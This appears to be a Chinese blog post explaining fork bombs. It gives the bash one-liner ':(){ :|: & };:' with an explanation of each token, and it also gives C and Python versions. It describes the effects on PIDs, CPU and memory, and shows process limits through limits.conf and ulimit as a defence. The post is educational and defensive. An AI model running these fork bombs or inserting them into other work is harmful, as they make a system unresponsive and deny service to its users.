fork炸弹分析

Linux系统创建进程的方式十分简单,只需写一行fork();即可。因此,很容易在Linux环境下使用fork系统调用不断复制自身从而引发拒绝服务攻击

Unix环境下的fork炸弹

:(){ :|: & };:
  • : 是函数名
  • | 是管道命令,将前者的输出作为输入给后者,在这里每次调用:函数会执行:两次
  • Unix中&表示将函数后台运行,换句话说,解除两函数的关联,当前面的:函数被终止,并不会杀死后面的:函数
  • ;表示函数定义结束
  • 后面的:是第一次的函数调用

C语言实现

#include <unistd.h>

int main()
{
  while(1)
    fork();
  return 0;
}

python语言实现

#!/usr/bin/env python 
    import os 
    while True: os.fork()

攻击影响

  • 消耗内核有限的pid资源
  • cpu、内存等硬件资源占用率上升

防止fork炸弹

更该系统配置,限制每个用户的最大进程数

修改配置文件:

 vi /etc/security/limits.conf

使用ulimit命令:

$ ulimit -a
Maximum size of core files created                           (kB, -c) 0
Maximum size of a process’s data segment                     (kB, -d) unlimited
Maximum size of files created by the shell                   (kB, -f) unlimited
Maximum size that may be locked into memory                  (kB, -l) 65536
Maximum resident set size                                    (kB, -m) unlimited
Maximum number of open file descriptors                          (-n) 1024
Maximum stack size                                           (kB, -s) 8192
Maximum amount of cpu time in seconds                   (seconds, -t) unlimited
Maximum number of processes available to a single user           (-u) 15435
Maximum amount of virtual memory available to the shell      (kB, -v) unlimited

关于fork bomb的论文推荐:https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=7818694

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值